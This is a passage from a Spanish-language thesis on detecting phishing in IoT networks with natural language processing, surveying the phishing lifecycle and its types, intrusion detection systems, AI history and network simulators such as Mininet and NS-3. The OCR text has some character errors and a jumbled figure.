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Para el proyecto se toma a consideracion el tipo de investigacion aplicada que,
sumado al modelo de cascada, el cual se basa en una secuencia de etapas interconectadas,
permitira desarrollar el sistema propuesta de manera secuencial y ordenada. Las etapas
consisten en definicién de los requisitos, disefio e implementacién, integracion y pruebas

del sistema, operacién y mantenimiento.

En primera instancia se realizara una investigacion en torno a los diferentes tipos
de ataques que se suscitan en las redes 10T, con el objetivo de comprender y recopilar
datos sobre qué areas o en que segmentos especificos se producen dichos ataques, ademas
de un estado del arte que denote la relacion entre la inteligencia artificial y procesamiento
de lenguaje natural, con los sistemas de deteccion de ataques phishing en entornos IoT,

para de esta manera determinar los requerimientos para el disefio del sistema.

La segunda etapa se centra en el disefio del modelo con base en la investigacion
que cumpla con los requerimientos necesarios de un modelo de procesamiento de
lenguaje natural, el cual debe deber ser capaz de aplicar los procesos de limpieza,

normalizacion de datos y tokenizacion, en referencia a los ataques phishing.

La etapa de implementacion del sistema consiste en incorporar el modelo
generado a una simulacién realizada de Mininet, que contenga las caracteristicas de una
red 10T, en la cual se realizard actividades como el preprocesamiento de datos, la

extraccion de caracteristicas, la deteccion de anomalias y la clasificacion del ataque.

En la etapa final se realizan las pruebas de validacion del sistema, para la cual se
pretende realizar ataques simulados mediante herramientas de software y datasets, de esta
forma se podra validar que el modelo desarrollado es capaz de detectar el ataque de

phishing.



27

CAPITULO Il. Marco Teorico

En el segundo capitulo, se abordan las definiciones clave relacionadas con el
Internet de las Cosas (10T), phishing, inteligencia artificial y procesamiento de lenguaje
natural (NLP). Se examinan a detalle los principios de 10T, la naturaleza del phishing, las
aplicaciones de la inteligencia artificial y el papel del PLN en la interaccion entre
humanos y maquinas. Este capitulo establece las bases conceptuales esenciales para

comprender el contexto y los elementos fundamentales de la investigacion.

2.1 Seguridad Informatica

Segun la Organizacion Internacional de Normalizacion (1SO, 2018), la seguridad
de la informacion se define como el conjunto de procesos, métodos y procedimientos
orientados a preservar la informacion, asi como los sistemas de informacion de acciones
en torno al uso, difusion, modificacion o supresién no autorizado. La seguridad de la
informacién contempla la conservacion de las 3 propiedades de la informacion;

confidencialidad, integridad y disponibilidad.

La confidencialidad se refiere a la proteccidon y restriccion del acceso a la
informacion solo a aquellos usuarios autorizados. La informacion confidencial no debe
estar disponible o revelada a personas no autorizadas, ya sea de manera intencional o

accidental.

La integridad se centra en la precision y la fiabilidad de la informacion. Garantiza
que la informacion no ha sido alterada de manera no autorizada o accidental. En un
contexto de seguridad de la informacion, la integridad asegura que los datos mantengan

su exactitud y consistencia durante todo su ciclo de vida.

La disponibilidad se refiere a la accesibilidad y utilizacion de la informacion

cuando sea necesario por parte de usuarios autorizados. Implica que los sistemas y
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servicios estén operativos y accesibles, minimizando el tiempo de inactividad y

asegurando que los recursos estén disponibles para cumplir con los requisitos operativos.

2.2 Phishing

Es un método de ingenieria social en la que un atacante conocido como phishier
emplea diversas estrategias que emulen comunicaciones electrénicas de una organizacion
(Alkhalil et al., 2021) con el objetivo de persuadir al objetivo del ataque para que revele
informacion personal o confidencial tales como direccion email, nombre de usuario,
contrasefias e informacion financiera (Alabdan, 2020). El ataque phishing consta de
varias etapas en las que el ciberdelincuente sigue para llevar a cabo el engafio. La Figura
1 muestra el ciclo de vida del ataque Phishing que consta de 5 fases principales:
Planificacion

Es un proceso en el cual se delinea el objetivo ya sea un individuo u organizacion
y la informacion de interés (Alkhalil et al., 2021). Primordialmente, esta fase consiste en
extraer informacion esencial de la victima por medio de analisis de trafico. Posterior al
reconocimiento se establecen herramientas y técnicas que se ejecutaran en el ataque a
través de medios viables tales como sitios web fraudulentos, emails que contengan
enlaces maliciosos, etc (Benavides et al., 2020).
Phishing

En esta fase se despliega la actividad del phishing dirigida a los objetivos
previamente identificados, los atacantes implementan tacticas engafiosas al enviar emails
adulterados disfrazados como comunicaciones legitimas proveniente de instituciones y
entidades reales, que solicitan informacion confidencial bajo la premisa de una
actualizacion de registros. La urgencia de la actualizacion de la informacion se enfatiza,
instando a la victima a acceder a los enlaces maliciosos presentes en el correo (Benavides

et al., 2020).
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Infiltracion

Varia en funcién del método empleado, pero esencialmente en esta fase se define
por la respuesta del objetivo (Alkhalil et al., 2021) e inicia al momento que accede al
enlace malicioso, este simple acto desencadena la instalacion automatica de malware y a
su vez brinda al atacante la capacidad de acceder al sistema y comprometerlo.
Dependiendo del caso el acceso al enlace puede redireccionar al usuario a un sitio web
falso (Benavides et al., 2020).
Recopilacion de datos

En esta fase el phisher despliega diversas estrategias para obtener la informacion
requerida y alcanzar los objetivos planteados en la fase de planificacion (Alkhalil et al.,
2021). Durante el proceso de recopilacion de informacion el atacante simula la identidad
de la victima de esta manera se accede a sus cuentas y al sistema por lo que eventualmente
puede repercutir en pérdidas financieras. Los sistemas comprometidos abren puertas a su
uso en ataques méas amplios, como son los de denegacion de servicios (DOS) (Benavides

et al., 2020).

Extraccion

Es la dltima fase del ataque, se ejecuta posterior a la obtencion del acceso y la
informacion requerida (Benavides et al., 2020). En ella el phisher intenta eliminar de
manera meticulosa cualquier rastro del ataque tales como sitios web falsos con el fin de
eludir la deteccion y preservar el anonimato (Alkhalil et al., 2021). Finalmente, se realiza

un analisis del éxito alcanzado durante el ataque para ser aplicado en futuros ataques.

La Figura 1 engloba los procesos correspondientes al ciclo de vida del ataque

phishing.

Figura 1

Ciclo de Vida del Phishing
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EXTRACCION PHISHING

RECOPILACION .
DE DATOS INFILTRACION
<

Fuente: Autoria.

2.2.1Tipos y Técnicas de Ataques Phishing

Los phishers ejecutan sus ataques a través de la manipulacion psicoldgica y
métodos técnicos, con el proposito de obtener informacién personal. Generalmente, se
emplean aquellos ataques que se centran en el engafio, para de esta manera aprovechar la
psicologia humana y obtener informacion relevante (Alkhalil et al., 2021). La Figura 2

muestra los diversos tipos y técnicas en las que se divide el ataque phishing.

2.2.1.1  Phishing Engafioso

Es el tipo de ataque de mas habitual, en este enfoque, el phisher inventa
situaciones o aplica métodos técnicos para atraer y persuadir a la victima sobre la
autenticidad del correo electronico fraudulento. Al caer en estas artimafias, el usuario se
convierte en victima al acceder al enlace proporcionado, revelando asi su informacién
personal al phisher. Este tipo de phishing se lleva a cabo a través de correos electronicos
fraudulentos, sitios web falsos, Ilamadas telefonicas de phishing, plataformas de redes

sociales y diversos otros medios (Alkhalil et al., 2021).

Phishing por Email
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Consiste en enviar correos electronicos fraudulentos de manera aleatoria desde
una fuente no confiable a miles de destinatarios. Estos emails falsos pretenden ser de una
persona o entidad financiera, con el objetivo de persuadirlos para que realicen acciones
que conduzcan a la revelacion de informacion confidencial. Existen tres variantes de
phishing por correo electrdnico: spear phishing, whale phishing y clone phishing, cada

una adaptada segun el objetivo del ataque (Alkhalil et al., 2021).

e Spear Phishing: Busca obtener informacion detallada de la victima para crear
correos electronicos maliciosos que parezcan provenir de fuentes fiables.
¢ Whale Phishing: Emplea tacticas sofisticadas para engafiar a personas de alto
nivel con el objetivo de obtener datos confidenciales.
e Clone Phishing: Replica correos electronicos legitimos haciendo uso de
informacion del destinatario, como direcciones de correo reales que contiene
enlaces modificados o archivos adjuntos maliciosos.
Sitio Web Falsificado

En este tipo de ataque en donde los phishers crean una pagina web que aparenta
ser auténtica y se asemeja al sitio web legitimo. Los estafadores dirigen a usuarios
desprevenidos hacia estos sitios por medio de enlaces incluidos en emails, anuncios o
cualquier otra forma de redireccion, de este modo buscan revelar y recopilar informacion

confidencial (Alkhalil et al., 2021).

Phishing Telefénico

Es una forma de ataque en donde el phisher se comunica con la victima por medio
de llamadas telefénicas o SMS. Durante la comunicacion el atacante adopta la identidad
de una fuente conocida y confiable con la que la victima trata. El ataque consiste en el
envio de alertas de seguridad convincentes de fuentes tales como bancos, y de esta manera

persuadir a la victima de que se comuniqgue a un numero en especifico, con el objetivo de
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que este comparta informacion de identificacion personal (PIl) o nimeros de PIN. El
phishing telefonico puede hacer uso de técnicas como la suplantacion de identidad de
llamadas (CID), donde el atacante engafia a la victima sobre la fuente de la Ilamada, o
aprovechar herramientas de (IP PBX) para potenciar los ataques de voz por IP (\VolP)
(Alkhalil et al., 2021).

Social Media Attack (Soshing, Social Media Phishing)

Este tipo de ataque utiliza plataformas de redes sociales como medio principal
para llevar a cabo las acciones maliciosas. Abarca diversas amenazas, como el secuestro
de cuentas, la suplantacion de identidad, estafas y la distribucién de malware. La
deteccion y mitigacidn de estas amenazas requieren mas tiempo en comparacion con los
métodos tradicionales, debido a que estas plataformas operan fuera de la red

convencional.

2.2.1.2  Subterfugio Técnico

Implica engafar a individuos para que divulguen informacion confidencial
mediante artimafias técnicas, como la descarga de codigo malicioso en el sistema de la
victima (Alkhalil et al., 2021). Los subterfugios técnicos pueden categorizarse en los

siguientes tipos:

Phishing basado en Malware

Este método de ataque implica la ejecucion de software malicioso en el
computador de la victima, con el objetivo de llevar a cabo actividades fraudulentas o robo
de informacion confidencial. ElI malware se descarga a través de técnicas de ingenieria
social o aprovechando vulnerabilidades en el sistema de seguridad, como la presente en
los navegadores web (Alkhalil et al., 2021). Existen varias formas de phishing basado en

malware, entre ellas se destacan las siguientes:
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e Registradores de teclas y de pantalla (Keyloggers).

e Virusy Gusanos.

e Spyware
e Adware

e Ransomware

e Rootkits

e Secuestradores de sesion

e Troyanos web

e Envenenamiento por archivos de hosts
e Ataque de reconfiguracion del sistema

e Robo de datos

Phishing basado en DNS (Pharming)

Denominado también como Pharming es un ataque que manipula el DNS para
redirigir a las victimas a sitios web maliciosos, contaminando la cache DNS con
informacidn incorrecta. Esta técnica incluye la alteracion del servidor y del archivo de
hosts, al comprometer el servidor se modifican las direcciones IP legitimas por otras en

donde llevan al usuario a sitios falsos de manera involuntaria (Alkhalil et al., 2021).

Phishing por Inyeccion de Contenido

Esta préactica consiste en insertar informacién falsa en un sitio web legitimo, el
contenido malicioso tiene el potencial de redirigir a la victima hacia sitios webs
fraudulentos con el objetivo de inducir al usuario a revelar informacion confidencial o

provocar la descarga de malware en el dispositivo (Alkhalil et al., 2021).

Phishing de Hombre en el Medio
En esta forma de phishing, el atacante interviene la comunicacion entre el usuario
y el sitio web legitimo con el objetivo de obtener informacion de ambas partes. En este

tipo de ataque, el mensaje original destinado a los usuarios legitimos es desviado hacia el
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atacante en lugar de llegar al destinatario previsto, a través del uso de diversas técnicas
como envenenamiento ARP, suplantacion de DNS, troyanos y ofuscacion de URL. El
atacante registra la informacion interceptada para su uso indebido en futuros casos

(Alkhalil et al., 2021).

Phishing en motores de busqueda

Esta técnica de phishing genera sitios webs maliciosos que ofrecen ofertas
atractivas mediante técnicas de optimizacién de motores de busqueda para lograr su
indexacion legitima. De esta manera se posiciona sitios web maliciosos aprovechando la

confianza de los usuarios que buscan informacién legitima (Alkhalil et al., 2021).

Ataques de ofuscacion de URL y HTML

Este ataque busca persuadir al usuario para que acceda a un enlace en especifico,
el cual redirige a la victima hacia un servidor malicioso en lugar del destino legitimo. Esta
técnica, ampliamente usada, oculta la verdadera direccién web a la que el usuario intenta
acceder, para que de esta manera el enlace parezca auténtico. Los métodos comunes
utilizados en este tipo de ataque incluyen el uso de nombres de dominio incorrectos y la
ofuscacion de nombres de host para falsificar la apariencia de la direccion (Alkhalil et al.,

2021).

La Figura 2 muestra una recopilacion del compendio de informacion sobre la

diversidad de los ataques phishing.



35

Figura 2

Tipos de Ataques Phishing

ATAQUE PHISHING
ATAQUES ENGANOSOS ' SUBTERFURGIO TECNICO

Phishing basado en Malware
Phishing por Email :
Reglstradc;ref ((116 pantallay [ s "hishing basado en DNS
eclado

Phishing S Secuestradores de Sesion I
Telefonico
Troyanos Web — Phishing de Hombre en el
Sitio Web Medio
Falsificado

Ataques de Reconfiguracion de
Phishing en Redes
Sociales

Inyeccion de Contenido

Phishing en Motores de
Busqueda

Sistemas

Envenenamiento por archivos >
host e Ataques de ofuscacion URL

Robo de datos

Fuente: Adaptado de (Alkhalil et al., 2021)
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2.3 Internet de las Cosas (10T)

El término 10T se lo atribuye a Kevin Ahton. Se define como un sistema

compuesto por sensores y actuadores interconectados que posibilita la administracion,

recopilacion e intercambio de informacion proveniente de sensores. La capacidad de

administrar la informacién implica la presencia de algun sistema de procesamiento, como

microprocesadores 0 microcontroladores (Gualberto, 2021).

El Internet de las Cosas (10T) se destaca por la conectividad entre dispositivos

mediante el internet y diversas tecnologias. Entre las principales caracteristicas en torno

al 10T se destaca: Conectividad, Protocolos de Transmisidén de Mensajes y Aplicaciones

loT.

Conectividad: Las aplicaciones de loT generalmente envian los datos
recolectados por un dispositivo a un sistema o subsistemas externos, para el
almacenamiento y comparticion de la informacion. La transferencia de datos entre
dispositivos y sensores de 10T pueden llevarse a cabo a través de distintos tipos
de redes, tales como cableadas, inalambricas, de maquina a maquina (M2M),

como 3G, 4G, 5G, NB-IoT, entre otras opciones (Tseng et al., 2020).

Protocolos de Transmision de Mensajes: La complejidad de disefiar redes de
0T, con multiples sensores y limitaciones en el esquema de direcciones, demanda
una gestion avanzada de recursos por lo que se acentla la importancia de
estrategias efectivas para la transferencia de datos, que influya de manera
significativamente en el ancho de banda de la red (Tseng et al., 2020). Para

garantizar seguridad y eficiencia, se han desarrollado varios protocolos de
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mensajeria especificos dentro de los cuales se destacan CoAP, MQTT, XMPP y

AMQP.

e Aplicaciones loT: La expansion del uso de la Internet de las Cosas (IoT) en
diversos campos respaldan y explican el crecimiento de esta nueva tendencia,
llevando a una adopcidén més generalizada de la 10T en la sociedad actual. La
exploracién de las aplicaciones especificas de 10T contribuye a una comprension
mas profunda y al perfeccionamiento continuo de esta tecnologia, facilitando asi
el disefio de sistemas innovadores adaptados a situaciones recientemente

desarrolladas (Tseng et al., 2020). Dentro de las areas de aplicacion se sitdan:

o Aplicaciones Médicas

o Aplicaciones Ambientales

o Aplicaciones de Infraestructura.
o Aplicaciones Industriales

o Aplicaciones Comerciales

o Aplicaciones para Ciudades Inteligentes

2.4 1DS

Un Sistema de Deteccidn de Intrusos (IDS) hace referencia a un sistema de
hardware o software que realiza monitoreos de manera automatica con el objetivo de
identificar ataques o intrusiones. Posteriormente, se generan y envian alertas a la red o
computador (Saranya et al., 2020). Las funciones fundamentales de los Sistemas de

Deteccion de Intrusos incluyen (Vasilomanolakis et al., 2015):

e Monitorear las actividades de red.
e Analizar los datos recolectados.
e Verificar las configuraciones del sistema y buscar vulnerabilidades.

e Detectar patrones o firmas.
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e Almacenar patrones o firmas en una base de datos.
e Emitir alertas en casos de coincidencia con algin patrén o firma detectado.

El sistema de Deteccion de Intrusos integra los siguientes componentes:

¢ Red de monitoreo: Consiste en la recopilacion de paquetes de red que contienen
datos relevantes para la deteccidn de intrusos. Los paquetes de red se conforman
de un encabezado y una carga util, la informacion anexada a ambos elementos
puede ser explotada para ejecutar un ataque. Ademas, se analiza el flujo de red
para identificar patrones que podrian ser empleados con fines maliciosos. Los
conjuntos de datos de deteccion de intrusiones incluyen caracteristicas de nivel de
paquete y de flujo para clasificar eficazmente los ataques (Thakkar & Lohiya,
2022).

e Recopilacién de datos: Recopila datos detallados sobre el sistema objetivo para
planificar el ataque. Este proceso se lleva a cabo mediante consultas empleando
comandos como para determinar detalles del servidor y host o a través de
herramientas de red que permitan rastrear la actividad de red (Thakkar & Lohiya,
2022).

e Analisis de los detalles del paquete: Es el proceso de escaneo del paquete de red
que busca robar informacion confidencial, como ataques del tipo Remoto a Local
(R2L) que comprometen el sistema para obtener acceso no autorizado. Entre los
ataques que pueden obtener acceso se sitlan el rastreo de paquetes, robo de
credenciales o inyeccion de malware (Thakkar & Lohiya, 2022).

e Identificar y almacenar la firma/patrones de ataque: Consiste en identificar
los patrones de ataque, tanto de los modelos establecidos como de los nuevos, asi
como las firmas de los programas que aprovechan alguna vulnerabilidad (exploits)
para provocar comportamientos andmalos y ataques internos. Los modelos y

firmas se registran en una base de datos para su posterior consulta, lo que
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simplifica la deteccion de comportamientos andmalos y la implementacion de
medidas adecuadas (Thakkar & Lohiya, 2022).

e Generacién de alerta: Posterior al reconocimiento del ataque se emite una
advertencia y notifica al administrador de seguridad. La alerta se activa con base

a la coincidencia de la firma/patron (Thakkar & Lohiya, 2022).

2.4.1 Clasificacion de los Sistemas de Deteccion de Intrusos (IDS)

Los Sistemas de Deteccion de Intrusos se clasifican segun el tipo de
implementacidn, técnica de deteccion, frecuencia de uso, tipo de respuesta, estructura y
conocimiento (Tidjon et al., 2019).

Clasificacion por Tipo

e |DS basado en Red

Se ubica en la Zona Desmilitarizada (DMZ) despueés del firewall (Tidjon et al.,
2019). Monitorea y analiza los segmentos y capas de la red para identificar tanto trafico
como comportamiento malicioso (Torres Ruiz, 2019).

e IDS basado en Host:

Protege Unicamente el equipo en el que fue instalado y su funcionamiento radica
en la inspeccion de los archivos, servicios y software que contiene el equipo anfitrion.
Una vez se detecte el comportamiento malicioso se generan y envian alertas al
administrador (Torres Ruiz, 2019).

Clasificacion segun la Estructura

e |DS Centralizado

Se concibe en base al posicionamiento de los agentes del sistema de deteccidn
dentro del nucleo de la red, por ejemplo, en un enrutador. El punto central o agente IDS
conserva un registro de las peticiones entre los diferentes nodos de la red, ademas, que

analiza la informacidn transmitida entre los mismos. A nivel estructural este tipo de IDS
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presenta desafios, debido a que el analisis del trafico en un solo nodo no es suficiente y
en circunstancias en las cuales el nodo central se ve comprometido (Thakkar & Lohiya,
2021).
e IDS Distribuido

En este mecanismo de deteccion de intrusos los agentes IDS se implementa en
cada dispositivo de la red (Thakkar & Lohiya, 2021) de manera que el procesamiento y
el analisis de trafico, asi como la deteccion de eventos anémalos se ejecutan en cada uno
de los agentes. La distribucion del sistema resulta de la segmentacion de la inteligencia
entre los gestores y agentes de la red (Pathan, 2014). EI monitoreo se limita solo al nodo
en si, de manera que, no se puede aprovechar el resto de los nodos de la red para tomar
decisiones mas precisas (Thakkar & Lohiya, 2021).
Clasificacion segun las Técnicas de Deteccion

e |DS basado en Firmas

El método de deteccion se basa en la coincidencia de firmas del ataque del trafico,
con la firma alojada en la base de datos. La detencion opera de mejor manera con ataques
conocidos, ademas, este tipo de deteccion es mas sencilla de implementar. La fiabilidad
de deteccion decrece con ataques nuevos o variantes de ataques conocidos, debido a que

la firma de estas no se encuentra presente en la base de datos (Thakkar & Lohiya, 2021).

e |DS basado en anomalias:

Este sistema de deteccidn identifica las intrusiones por medio de la coincidencia
de patrones. El IDS basado en anomalias genera un perfil de usuario a través del analisis
de trafico normal del sistema (Tidjon et al., 2019). En el proceso de monitoreo se analiza
si el trafico actual coincide con los patrones de un comportamiento normal; en caso de
presentarse desviaciones en relacion con el perfil, se genera una alerta de comportamiento

anomalo (Torres Ruiz, 2019).
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Clasificacion por tipo de respuesta
e IDS Pasivo

Su modo de configuracion se basa en el monitoreo y analisis del trafico en la red.
Por medio de notificaciones, alerta al operador de posibles vulnerabilidades y ataques.
Este tipo de IDS carece de la facultad de generar acciones de proteccion o correccion de
manera auténoma. Entre sus ventajas se caracteriza su facil y rapida implementacion
ademas de su tolerancia a ataques directos (Miller & Gregory, 2022).

e IDS Activo

También conocido como Sistema de Prevencion de Intrusos IPS (Achary, 2021).
Este tipo de sistema esta programado para contener de manera automatica conexiones o
trafico sospechoso en curso, sin que algin operador intervenga. El IPS ofrece la ventaja
de ejecutar medidas correctivas en tiempo real, sin embargo, al implementarse en el limite
de la red, también se expone a ataques directos como los del tipo de Denegacién de

Servicios (Miller & Gregory, 2022).

2.5 Inteligencia Artificial

La Inteligencia Artificial o Al es una tecnologia que permite a las computadoras
reproducir comportamientos inteligentes como el aprendizaje, juicio y la toma de
decisiones (Oestriecher & Beasley, 2020). La IA trata a la informacién como un recurso,
para el andlisis y estudio de los diferentes métodos de expresion del conocimiento. La
recopilacion de diversas disciplinas como las ciencias de la computacion, biologia,
psicologia y filosofia ha permitido el desarrollo de aplicaciones orientadas al
reconocimiento de voz, procesamiento de imagen, procesamiento de lenguaje natural,

robotica y automatizacion de procesos (Zhang & Lu, 2021).

La Figura 3 presenta una linea de tiempo en la que se destacan los principales

hitos en la evolucion de la inteligencia artificial.
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Figura 3

Evolucion de la Inteligencia Artificial

« Development of LISP by McCarthy (1958)
« Dartmouth Workshop (1956)

« NLP at Stanford (1970) * Return of NNs and Backpropagation (1986) « ASIMO (2005) * CMU Libratus (2017)
« Touring Test (1950) « Perceptrons and Backpropogation (1969) * Driverless Car (1986) « DARPA Grand Challenge (2005)
* ELIZA (1965) « Japan's Sth Gen, Computer (1982) * Singularity is Near (2005)
 Minsky’s NN Machine (1951) « IBM Deep Blue (1997)  » DARPA Urban Challenge (2007)
« EVIAC (1945) * Expert Systems (1380’s) « 1BM Deeper Blue (1997) « Deep Mind AlphaGo (2016)
« Bombe Machine (1941) * Convolutional NN (1979) * Robo-Cup (1997) « 1BM Watson (2011)

1
oo | I [ 2o | [0 | I | |

ARTIFICIAL INTELLIGENCE

Al stirs great excitement (a hype?)
in its early stages. Machine Learning Z
gives an impetus to Al.

Fuente: Tomado de (Kaynak, 2021).

Desde los primeros intentos de automatizacion durante la Segunda Guerra
Mundial con la Maquina Bombe en 1941, hasta los avances mas recientes como el
desarrollo de vehiculos autbnomos y sistemas de procesamiento de lenguaje natural, la
evolucion de la inteligencia artificial ha sido una historia de hitos significativos. La
prueba de Turing en 1950 plante6 la pregunta inicial sobre si una maquina podria imitar
el comportamiento humano. La década de 1950 vio el nacimiento oficial de la IA en el
Dartmouth Workshop, mientras que, en 1958, John McCarthy desarroll6 el lenguaje de
programacion Lisp, crucial para la investigaciéon en IA. En afios posteriores, avances
como la Maquina de Redes Neuronales de Marvin Minsky en 1951 y la creacién de
ELIZA en 1965 destacaron la exploracion de la simulacion de la inteligencia humana. En
las décadas de 1970 y 1980 se presenciaron el surgimiento de redes neuronales
convolucionales, sistemas expertos y el proyecto japonés de la Quinta Generacion de
Computadoras. El renacimiento de las redes neuronales y la retro propagacion en 1986
allanaron el camino para futuros desarrollos, incluido el surgimiento de vehiculos

autonomos en 1986. A su vez algunos acontecimientos tales como la victoria de IBM
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Deep Blue sobre Garry Kasparov en 1997 y los avances en procesamiento de lenguaje
natural con IBM Watson en 2011 marcaron hitos clave en la evolucion de la inteligencia
artificial. En la Gltima década, AlphaGo de DeepMind (2016) y Libratus de la Universidad
Carnegie Mellon (2017) demostraron la excelencia de la 1A en juegos estratégicos.
Ademas de nuevos proyectos como el Darpa Urban Challenge (2007) y desarrollos
continuos en NLP, han mantenido el impulso de la 1A en la sociedad, prometiendo un
futuro emocionante en el que la inteligencia artificial sigue desafiando y superando las

capacidades humanas en diversas areas (Kaynak, 2021).

2.5.1Tipos de Inteligencia Artificial
Inteligencia Artificial Débil

Hace referencia a los sistemas de 1A que imitan capacidades cognitivas humanas
para abordar tareas especificas; sin embargo, carecen de un mecanismo de adaptacion
frente a situaciones nuevas o desconocidas (Gil, 2023). Dichos sistemas se emplean en
aplicaciones que operan mediante técnicas de aprendizaje automatico o profundo y
procesamiento de lenguaje natural (NLP) con el fin de identificar patrones a partir de un
ingente volumen de datos. Entre estas aplicaciones se encuentran aquellas que ejecutan
procesos iterativos tales como el reconocimiento de iméagenes, chatbots o vehiculos
autonomos. Entre otras areas de uso se sitlan los sistemas de seguridad, redes de

comunicacion y robética (Chung et al., 2022).

Inteligencia Artificial General
Son los sistemas de computo que poseen capacidad de razonamiento, aprendizaje
y resolucion de un gran espectro de tareas, ademas de que pueden realizar ajustes frente

a nuevos escenarios o entornos (Gil, 2023).

Superinteligencia
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También conocida como Super IA, hace referencia a la inteligencia artificial que
se posiciona mas alla del punto de singularidad (Gil, 2023). Es aquella inteligencia que
supera a la humana en diversos dominios cognitivos generales y considerablemente mas
eficiente debido a una mayor capacidad de almacenamiento, procesamiento de

informacion y habilidades analiticas (Chung et al., 2022).

2.6 Plataformas para Simulacion de Redes IoT

Las herramientas de simulacion brindan la capacidad de determinar aspectos
relevantes tales como el rendimiento, comportamiento y precision, bajo ese contexto se
revisan las siguientes plataformas de simulacion que suplan los requerimientos necesarios

del proyecto.

FIT loT-LAB

Es un conjunto de herramientas que forma parte del proyecto FIT (Future Internet
of Things), que brinda a los usuarios a nivel académico e industrial una infraestructura
con miles de nodos inaldmbricos para evaluar y experimentar tecnologias inalambricas
en torno al 10T, asi como servicios integrados avanzados (Adjih et al., 2015). FIT loT-
LAB proporciona un control completo de los nodos y acceso directo a las puertas de
enlace de manera remota, lo cual facilita la supervision de las métricas de red y energia.
La versatilidad de FIT IoT-LAB permite a los desarrolladores crear diferentes pruebas a

partir de distintos nodos, entornos, arquitecturas y aplicaciones (Zivkovic et al., 2020).

Cooja Simulator

Es un simulador de cédigo abierto disefiado para replicar sistemas orientados a
loT. Utiliza como base Java y Java Native Interface (JNI), para facilitar la interaccién
entre el framework y el sistema operativo emulado. Mediante el emulador de nivel de

instrucciones basado en Java MSPSim, se tiene la capacidad de emular completamente
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sensores de la serie MSP430 (Eriksson et al., 2009), permitiendo asi, la simulacion de
diferentes stack de redes. Cooja ofrece la oportunidad de personalizar la aplicacién
mediante la inclusiébn de mddulos adicionales. Aprovechando la flexibilidad que
proporciona la estructura del simulador, este puede operar de diversas maneras, al
modificar: el entorno de radio, el equipo del nodo, los elementos de entrada y salida. El
nodo simulado se caracteriza por sus unidades de memoria de datos, tipo de nodo y
entorno de hardware, ademas, de que puede ejecutar directamente la version compilada

de programas desarrollados en Contiki OS u otros emuladores (Islak et al., 2022).

Qualnet
Es una herramienta que permite el disefio de escenarios virtuales de todo tipo de

redes. Qualnet se integra de los siguientes componentes:

Disefiador de escenarios: Permite crear escenarios virtuales para diversos tipos
de redes.
e Animador: Proporciona visualizaciones y analisis de los escenarios.
e Disefiador de protocolos: Facilita la implementacion de protocolos
personalizados.
e Analizador: Ofrece andlisis estadistico.
e Rastreador de paquetes: Genera archivos de seguimiento relacionados con las
transferencias de paquetes.
Los modelos de QualNet estan formados por nodos y enlaces que los conectan.
Los nodos representan puntos finales de la red, mientras que los enlaces de conexion
pueden ser configurados como redes inaldmbricas o cableadas. QualNet brinda solidez en
la simulacion de todo tipo de redes, ya sean cableadas, inalambricas o hibridas,
especialmente situaciones en las que es esencial modelar con precision redes de alta

fidelidad para su posterior analisis. La interfaz grafica de usuario facilita a los disefiadores
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de redes la construccién de sus proyectos en entornos tanto 2D como 3D (Kassab &

Darabkh, 2020).

CupCarbon

Es un simulador de eventos discretos que permite el disefio de redes de sensores
inalambricos (WSN) y la configuracion de componentes del sensor como bateria, alcance
de radio enlace. CupCarbon integra una interfaz geografica compatible con
OpenStreetMap por la cual es posible localizar los sensores de la red (Mehdi et al., 2014).

El simulador cuenta con 3 componentes:

e Entorno de Simulacién Multiagente
e Entorno de Simulacion Mavil

e Simulador de redes de sensores inaldmbrico (WSN).

La extension de SenScript brinda la capacidad para configurar cada nodo sensor
de manera individual, lo cual posibilita la division o unién de redes (Patel & Gupta, 2018).
Ademas, incorpora tecnologias inaldmbricas como ZigBee, LoRa y Wi-Fi (Chaudhari &

Zennaro, 2020).

OMNET++

Es un simulador de eventos discretos empleado para modelar redes cableadas,
inalambricas, en chips, de sensores entre otras opciones. OMNET++ se compone de
maodulos que pueden ser simples o compuestos. Los moédulos actian como interfaces en
el intercambio de mensajes y se rigen bajo una jerarquia de conexion. Una red es un
maodulo compuesto que carece de puertas al mundo exterior, por el contrario, los médulos
simples implementan tanto el comportamiento como las funciones de inicializacion y

finalizacion (Nardini et al., 2020).

Los modelos de OMNET++ se divide en 3 partes:
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e Comportamiento: Implementa los algoritmos y la l6gica de los mddulos de
simulacion.

e Descripcion: Define las puertas, conexiones y parametros del modelo por medio
del lenguaje de descripcion de red (NED).

e Valores de los parametros: Define los valores especificos responsables de la

inicializacion del modelo a través de archivos de inicializacion (INI).

OMNET++ simplifica el flujo del proceso de simulacion al automatizar pasos que
tienden a ser lentos y propensos a errores. El entorno de desarrollo facilita la depuracién

al permitir a los usuarios:

e Examinar mddulos.
e Habilitar o deshabilitar la generacion de texto durante la ejecucion.
e Observar el flujo de mensajes mediante una animacion.

e Representar eventos en un diagrama de tiempo.

NS-3

Network Simulator 3 (NS-3) es un entorno de simulacién de redes de codigo
abierto escrito en C++ que opera basandose en eventos discretos, cada evento esta
asociado a un tiempo de ejecucion y se efectdan en orden temporal. Su estructura de
eventos discretos permite la recreacion rapida y escalable de escenarios en tiempo real.
NS-3 brinda la capacidad de configurar y analizar redes cableadas o inalambricas, ademas

de que permite evaluar protocolos y el rendimiento de aplicaciones.

NS-3 ofrece méddulos esenciales, como nucleo, Internet, Ethernet, enrutamiento,
aplicaciones y monitoreo de estadisticas de flujo. Sus caracteristicas Unicas, como la
compatibilidad con registro, depuracion, rastreo y computacion de estadisticas de flujo
confieren un valor para aquellos que realizan simulaciones. Ademas, NS-3 es compatible

con NetAnimator (NetAnim) para visualizar simulaciones de manera efectiva.
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Mininet

Mininet es un emulador de red que puede crear una red de conmutadores,
controladores, hosts y enlaces virtuales. Los hosts Mininet utilizan software de red Linux
estandar, y sus conmutadores utilizan OpenFlow para redes definidas por software y

enrutamiento personalizado altamente flexible.

Mininet permite la investigacion, el desarrollo, el aprendizaje, la creacion de
prototipos, las pruebas, la depuracion y cualquier otra cosa que pueda recuperar. MiniNet
es una plataforma que integra una variedad de dispositivos, como hosts finales,
conmutadores, enrutadores y enlaces, y funciona en un solo ndcleo de Linux. Su técnica
de virtualizacion ligera permite que un solo sistema opere como una red completa con el
mismo nucleo, sistema y cddigo de usuario. A través de la conexion de red al host
mediante SSH, cada host en Mininet actia como una maquina real, lo que permite la

interaccion y la ejecucion de programas especificos.

Estos programas pueden usar interfaces Ethernet virtuales para enviar paquetes de
datos que simulan la velocidad y el retraso de enlace reales. Los paguetes son procesados
con colas de datos especificas como si estuvieran pasando por un conmutador, enrutador
0 middlebox Ethernet auténtico. El rendimiento medido dentro de la simulacion de
